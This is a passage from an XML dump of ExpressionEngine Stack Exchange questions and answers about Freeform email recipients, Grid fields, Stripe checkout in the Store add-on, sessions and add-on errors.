id=&quot;loyalty_customer_name&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;!-- Referral Fields --&amp;gt;&#xA;            &amp;lt;!-- Limit 10 --&amp;gt;&#xA;&#xA;            &amp;lt;!-- FreeForm Data --&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_referral_name&quot; id=&quot;loyalty_referral_name&quot; /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_referral_email&quot; id=&quot;loyalty_referral_email&quot; /&amp;gt;&#xA;        {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the following is writing the values prior to submission:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //  Create the needed fields in the form&#xA;    var splitValue;&#xA;    for (i = 0; i &amp;lt; combinedReferrals.length; ++i) {&#xA;        //  Split the result&#xA;        splitValue = combinedReferrals[i].toString().split(&quot;|&quot;);&#xA;&#xA;        //  Populate the form&#xA;        $('&amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;recipient_name[]&quot; value=&quot;' + splitValue[0] + '&quot; /&amp;gt;').insertAfter('.form_field:last');&#xA;        $('&amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;recipient_email[]&quot; value=&quot;' + splitValue[1] + '&quot; /&amp;gt;').insertAfter('.form_field:last');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each email is sent to each recipient as it should. However, they want to use the recipient NAME field to personalize the email sent. If I try to use &lt;code&gt;{recipient_name}&lt;/code&gt; I get nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-01-10T17:12:40.577" LastActivityDate="2014-01-10T17:12:40.577" Title="Sending to multiple recipients dynamically via freeform in EE1.6.8" Tags="|solspace-freeform|solspace|email|ee1|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18245" PostTypeId="2" ParentId="18244" CreationDate="2014-01-10T00:01:14.173" Score="3" Body="&lt;p&gt;Not sure this approach is going to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FreeForm expects you to define &lt;code&gt;recipient1&lt;/code&gt; and &lt;code&gt;recipient2&lt;/code&gt; as a parameter of the &lt;code&gt;exp:freeform:form&lt;/code&gt; tag, they are then encoded on the server side and the html source only shows a hashed value for the recipient, not the value you are inserting dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the method you described here were to be permitted then it would be simple to hijack the form to send email to anyone and it would be rife for abuse by spammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace's solution to &quot;tell a friend&quot; and potentially what you want to do is the &lt;code&gt;recipient_user_input=&quot;yes&quot;&lt;/code&gt;value in the &lt;code&gt;exp:freeform:form&lt;/code&gt; tag.  You have this value as an &lt;code&gt;input&lt;/code&gt; but not in the &lt;code&gt;exp:freeform:form&lt;/code&gt; tag.  I've read the docs a couple of times and I don't think that you can use recipient1...2...3... with this approach, but I could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#tellafriend_form&quot; rel=&quot;nofollow&quot;&gt;tell-a-friend&lt;/a&gt; example in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you'll need to specify &lt;code&gt;recipient_user_template&lt;/code&gt; instead of &lt;code&gt;recipient_template&lt;/code&gt;.  You'll probably want/need to set &lt;code&gt;recipient_user_limit&lt;/code&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2014-01-10T14:23:47.643" LastActivityDate="2014-01-10T14:23:47.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18246" PostTypeId="2" ParentId="18242" CreationDate="2014-01-10T01:07:54.083" Score="1" Body="&lt;p&gt;You should set the parameter &lt;code&gt;parse&lt;/code&gt; to &lt;code&gt;inward&lt;/code&gt; in you module opening tag, so the &lt;code&gt;{exp:markdown}&lt;/code&gt; will wait for the &lt;code&gt;{message}&lt;/code&gt; variable be ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you show you module tags, I can write a sample code.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-01-10T01:07:54.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18247" PostTypeId="1" CreationDate="2014-01-10T01:26:21.747" Score="1" ViewCount="1200" Body="&lt;p&gt;I see in the documentation that the grid editable fields is outputted using the tag {field}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:form&#xA;    channel=&quot;xxxxxx&quot;&#xA;    ...&#xA;}&#xA;    {field:foobar}&#xA;{/exp:channel:form}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This displays the rows and columns, some controls for adding, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, are there ways or custom addons that will allow me to manually output the markup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with the native solution is that I am not given control on how the markup is done, which means that it looks pretty out of place for my site&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-01-24T12:30:59.200" Title="Grid Fields - Alternative ways to display editable Grid" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18248" PostTypeId="2" ParentId="18237" CreationDate="2014-01-10T04:38:08.923" Score="2" Body="&lt;p&gt;Per the comments, in this case Stripe was working fine. The token was correctly submitted to Store. However, the wrong private API key was specified in the Store settings.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I had the wrong private key in the Store settings. I had assumed the JS would alert for key errors, and didn't think to try that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For future reference, always try putting &lt;code&gt;{error:payment_method}&lt;/code&gt; in your template. Even if you don't have &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; in your template, sometimes payment errors must be displayed inline on the next page load.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-10T04:38:08.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18249" PostTypeId="1" AcceptedAnswerId="28376" CreationDate="2014-01-10T05:02:30.067" Score="0" ViewCount="210" Body="&lt;p&gt;I have been using MoreEvents for event registrations and now it will no longer save event information (specifically, the Registration cut-off date and ability to open Global Memberships to registration). Because of this, registration functionality no longer works. I noticed in developer log that it was throwing an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deprecated function set_variable() called in&#xA;  system/expressionengine/third_party/moreevents/mcp.moreevents.php on&#xA;  line 114. Deprecated since 2.6. Use view-&gt; = ; instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the add-on is no longer supported, I wanted to find out if this is something that could be fixed? Or, if anyone else has found a fix? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a thread over at devot-ee (&lt;a href=&quot;http://devot-ee.com/add-ons/support/moreevents/viewthread/10239&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/moreevents/viewthread/10239&lt;/a&gt;) that references this but the solution that is provided didn't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or direction would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2015-01-30T23:46:48.860" Title="MoreEvents Not Saving Events, Dev Log Error" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18250" PostTypeId="2" ParentId="13008" CreationDate="2014-01-10T05:37:13.713" Score="1" Body="&lt;p&gt;You'll need to update the server &amp;amp; domain paths for each file upload preference. And make sure the permissions are correct on the production server. Once you've moved everything over, update the indexes just to be sure and it should just work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this several times in the last few months and had very few problems. Assets 2 is superb. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhat related, you can make a number of improvements to the config file that will make the migration more painless. Here's a good primer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eeinsider.com/articles/multi-server-setup-for-ee-2/&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-server-setup-for-ee-2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you still need to manually update those file upload preferences. &lt;/p&gt;&#xA;" OwnerUserId="420" LastActivityDate="2014-01-10T05:37:13.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18251" PostTypeId="1" CreationDate="2014-01-10T06:59:36.717" Score="1" ViewCount="80" Body="&lt;p&gt;If you have a Facebook-Page you know the «problem»: Users post their comments to the facebook-link instead of commenting on your own page. that itself is not the «problem» — the «problem» is, that this way only a fraction of your pages readers acctually see (and could interact with) the comment, while commenting on your own page let everyone be able to see the comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There a various pages out there which fetch the comments from «Likers» on Facebook to a Story/Link and include them into the comment-flow on their own page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a module or a technique (I don't know PHP), to include Comments from Facebook back into ExpressionEngines comments module? (not only «show» but actually include/import into the db)&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditDate="2014-01-10T07:58:25.980" LastActivityDate="2014-01-10T17:25:27.167" Title="Import Comments from Facebook" Tags="|comments|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18252" PostTypeId="1" CreationDate="2014-01-10T07:07:45.963" Score="1" ViewCount="258" Body="&lt;p&gt;I have a Grid field with four columns&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Relationship&lt;/li&gt;&#xA;&lt;li&gt;Select Dropdown, Output Formatting = None&lt;/li&gt;&#xA;&lt;li&gt;Select Dropdown, Output Formatting = None&lt;/li&gt;&#xA;&lt;li&gt;Text Input, Output Formatting = None&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is that when I output the value of column #3, it is always get wrapped in a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked my templates to see if there is any post processing being done(there wasn't)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{foo orderby=&quot;some|columns|here&quot; sort=&quot;asc&quot;}&#xA;    ...&#xA;    {foo:bar}&#xA;    ...&#xA;{/foo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is very, very odd to me since if there is a problem with output formatting, it should be reflected in column #2 since they are setup the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTES:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am on EE 2.7.2&lt;/li&gt;&#xA;&lt;li&gt;I read &lt;a href=&quot;http://ellislab.com/forums/viewthread/196974/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; forum thread and double checked if my output formatting option is set right&lt;/li&gt;&#xA;&lt;li&gt;I read &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15120/unformatted-field-data-wrapped-in-p-tags-on-output&quot;&gt;this&lt;/a&gt; and tried to apply the solution but it did not work. To be fair, the poster was talking about a native select dropdown, not a grid column select dropdown&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="636" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-04-22T23:53:08.257" Title="Grid - Column output wrapped in &lt;p&gt; tags" Tags="|grid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18254" PostTypeId="1" AcceptedAnswerId="18336" CreationDate="2014-01-10T09:25:18.620" Score="3" ViewCount="970" Body="&lt;p&gt;I have read every post on this matter and can't seem to solve it. I have Store 2.1.0 and can't get past the &quot;The number parameter is required&quot; error when trying to submit an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double-checked my secret and public codes, they are both the test pair (no mis-matching).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made sure the submit input is labeled correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure how to check but I &lt;em&gt;think&lt;/em&gt; the token is coming back empty. Any guidance in making sure I am checking the right spot would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using radio buttons. It seems that was a problem for someone else but they claimed it was fixed in an update some time ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code for the whole page (sorry for indent inconsistencies):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&#xA;{embed='inc/head_responsive'}&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;{if logged_in}&#xA;&#xA;&amp;lt;div class=&quot;gs960&quot;&amp;gt;&#xA;&#xA;    {embed='inc/header'}&#xA;&#xA;    &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;        {embed='inc/nav_responsive'}&#xA;&#xA;        &amp;lt;div class=&quot;sidebar_left_small&quot;&amp;gt;&#xA;&#xA;            {embed='inc/store_nav_responsive'}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;three_fourth&quot;&amp;gt;&#xA;&#xA;            {embed='inc/store_masthead'}&#xA;&#xA;            &amp;lt;h1 style=&quot;margin-bottom:40px;&quot;&amp;gt;Confirm &amp;amp;amp; Pay&amp;lt;/h1&amp;gt;&#xA;&#xA;            {exp:store:checkout return=&quot;account/invoices/ORDER_HASH/new&quot;}&#xA;&#xA;&#xA;                &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                $(function() {&#xA;                    $.getScript('https://js.stripe.com/v2/', function() {&#xA;                        Stripe.setPublishableKey('pk_test_sxEaF2h4B9EvdGBlvc3JJdZ6');&#xA;                    });&#xA;&#xA;                    /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;                    $checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;                        /* Only handle requests for Stripe gateway */&#xA;                        if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&#xA;                            /* Temporarily disable the checkout submit button */&#xA;                            $checkout_submit.attr('disabled', true);&#xA;&#xA;                            /* Create a Stripe card token */&#xA;                            Stripe.card.createToken($(this.form), stripeResponseHandler);&#xA;&#xA;                            /* We don't want to submit the form yet */&#xA;                            return false;&#xA;                        }&#xA;                    });&#xA;&#xA;                    /* This function is triggered once Stripe has generated the token */&#xA;                    function stripeResponseHandler(status, response) {&#xA;                        /* Re-enable the checkout submit button */&#xA;                        $checkout_submit.attr('disabled', false);&#xA;&#xA;                        /* Check whether we have a valid credit card */&#xA;                        if (response.error) {&#xA;                            alert(response.error.message);&#xA;                        } else {&#xA;                            /* Set the card token and submit the checkout form */&#xA;                            $(&quot;#payment_token&quot;).val(response.id);&#xA;                            $checkout_submit.off(&quot;click&quot;).click();&#xA;                        }&#xA;                    }&#xA;                });&#xA;                &amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;div&amp;gt;&#xA;&#xA;                &amp;lt;div style=&quot;float:left; width:45%; margin-right:5%;&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;Order Summary&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;div style=&quot;margin-top:10px;&quot;&amp;gt;&#xA;                                    {items}&#xA;                            &amp;lt;div style=&quot;margin-top:-10px;&quot;&amp;gt;&#xA;                                &amp;lt;div style=&quot;float:left; width:70%;&quot;&amp;gt;&#xA;                                                &amp;lt;p&amp;gt;{item_qty} &amp;amp;times; {title} {modifiers}({modifier_value}){/modifiers}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div style=&quot;float:right;&quot;&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;{item_subtotal}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;clear&quot; style=&quot;height:0px;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                    {/items}&#xA;                        &amp;lt;br /&amp;gt;&#xA;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;div style=&quot;float:left; width:70%;&quot;&amp;gt;&#xA;                                            &amp;lt;p&amp;gt;Shipping:&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div style=&quot;float:right;&quot;&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{order_shipping}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;div style=&quot;float:left; width:70%;&quot;&amp;gt;&#xA;                                            &amp;lt;p&amp;gt;Total:&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div style=&quot;float:right;&quot;&amp;gt;&#xA;                                &amp;lt;p style=&quot;font-size:20px; color:#e7e6d0;&quot;&amp;gt;{order_total}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;                    &amp;lt;h3&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{billing_address1}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{billing_city}, {billing_state}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{billing_postcode}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{billing_country}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{billing_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;                    &amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;                    {if shipping_same_as_billing}&#xA;                        &amp;lt;p&amp;gt;Same as Billing Details&amp;lt;/p&amp;gt;&#xA;                    {if:else}&#xA;                        &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{shipping_address1}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{shipping_city}, {shipping_state}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{shipping_postcode}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{shipping_country}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:-10px;&quot;&amp;gt;{shipping_phone}&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div style=&quot;float:left; width:50%;&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;Payment Method&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;br /&amp;gt;&#xA;&#xA;                    {if error:payment_method != ''}&#xA;                        &amp;lt;div style=&quot;margin: 20px 0; background-color:#660000; border:1px solid #ff0000; padding:10px;&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;&#xA;                    &amp;lt;div style=&quot;border:1px solid #4f0000; padding:10px; margin-bottom:20px; background-color:#100804; -webkit-box-shadow: 0px 0px 20px 1px rgba(0,0,0,0.75); -moz-box-shadow: 0px 0px 20px 1px rgba(0,0,0,0.75); box-shadow: 0px 0px 20px 1px rgba(0,0,0,0.75);&quot;&amp;gt;&#xA;                        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;payment_method&quot; value=&quot;PayPal_Express&quot;&amp;gt; Paypal&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div style=&quot;border:1px solid #4f0000; padding:10px; margin-bottom:20px; background-color:#100804; -webkit-box-shadow: 0px 0px 20px 1px rgba(0,0,0,0.75); -moz-box-shadow: 0px 0px 20px 1px rgba(0,0,0,0.75); box-shadow: 0px 0px 20px 1px rgba(0,0,0,0.75);&quot;&amp;gt;&#xA;                        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;payment_method&quot; value=&quot;Stripe&quot;&amp;gt; Credit Card&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left; width:120px; padding:10px 0 0 20px;&quot;&amp;gt;&#xA;                            Card Number: &#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left;&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; value=&quot;&quot; data-stripe=&quot;number&quot; class=&quot;form_field&quot; style=&quot;width:130px;&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left; width:120px; padding:10px 0 0 20px;&quot;&amp;gt;&#xA;                            Name On Card: &#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left;&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; value=&quot;&quot; data-stripe=&quot;name&quot; class=&quot;form_field&quot; style=&quot;width:130px;&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left; width:120px; padding:10px 0 0 20px;&quot;&amp;gt;&#xA;                            Exp Month/Year: &#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left; margin-right:10px;&quot;&amp;gt;&#xA;                            &amp;lt;select data-stripe=&quot;exp-month&quot; class=&quot;store_select&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                                    {exp_month_options}&#xA;                            &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left;&quot;&amp;gt;&#xA;                            &amp;lt;select data-stripe=&quot;exp-year&quot; class=&quot;store_select&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                                {exp_year_options}&#xA;                            &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left; width:120px; padding:10px 0 0 20px;&quot;&amp;gt;&#xA;                            CVC: &#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:left;&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; size=&quot;4&quot; value=&quot;&quot; data-stripe=&quot;cvc&quot; class=&quot;form_field&quot; style=&quot;width:30px;&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div style=&quot;text-align:right;&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{path='store/details'}&quot;&amp;gt;&amp;lt;span class=&quot;button&quot; style=&quot;font-size:16px; padding:11px 20px; margin:0px;&quot;&amp;gt;Back&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt; &amp;amp;nbsp; &#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;checkout_submit&quot; class=&quot;button&quot; style=&quot;font-size:16px; padding:7px 20px; margin:0px;&quot; value=&quot;Purchase&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            {/exp:store:checkout}&#xA;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- / two_third --&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- / wrapper --&amp;gt;&#xA;&#xA;    {embed='inc/footer'}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;{if logged_out}{redirect='account/login'}{/if}&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help. It would be VERY much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2589" LastEditorUserId="159" LastEditDate="2014-01-10T11:28:07.670" LastActivityDate="2014-01-13T17:35:12.880" Title="Getting a &quot;The number parameter is required&quot; when trying to submit a Store purchase to Stripe" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18255" PostTypeId="1" AcceptedAnswerId="18538" CreationDate="2014-01-10T10:53:28.463" Score="0" ViewCount="640" Body="&lt;p&gt;I need to record some data in the database for a user in the session (a custom add-on) and I'd been using the value returned from PHP's session_id() method, which works well enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user logs in, I then need to update the data with the logged in member's ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm finding that when the user logs in, that session_id() is empty so I lose the link to what was in session for that user prior to login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had originally tried using $EE-&gt;session-&gt;userdata('session_id') but that was zero, which is why I ended up using the native session_id() method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any suggestions for the best way of achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-01-20T14:28:45.033" Title="Session ID of user not logged in" Tags="|login|sessions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18256" PostTypeId="2" ParentId="18217" CreationDate="2014-01-10T11:30:16.507" Score="2" Body="&lt;p&gt;If you are asking what I think you're asking then you would need to set the base path for each channel within the channel's preferences.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-01-10T11:30:16.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18257" PostTypeId="2" ParentId="18153" CreationDate="2014-01-10T12:02:19.550" Score="2" Body="&lt;p&gt;Whilst I'm keen not to see this site become a 'do-my-homework-for-me' -type thing, I quite fancied having a go at this and had both some spare time and magnanimity... so please try out &lt;a href=&quot;http://devot-ee.com/add-ons/perfect&quot; rel=&quot;nofollow&quot;&gt;Perfect&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very basic at the moment, but let me know via the Devot:ee forum of any extra features you need to make it useful.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-10T12:02:19.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
